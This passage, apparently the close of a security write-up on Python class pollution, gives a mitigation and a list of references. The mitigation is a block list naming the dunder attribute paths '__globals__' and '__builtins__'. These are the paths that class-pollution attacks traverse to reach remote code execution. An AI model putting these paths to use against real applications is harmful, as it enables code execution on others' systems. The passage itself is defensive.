• Set a blacklist for the path, such as RESTRICTED_KEYS = ("__globals__", "__builtins__") adopted by pydash.

Related Materials

For more information about class pollution please refer to:

[1] CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

[2] Report: Class Pollution leading to RCE in pydash

[3] Blog: Prototype Pollution in Python

[4] Blog: Class Pollution Gadgets in Jinja Leading to RCE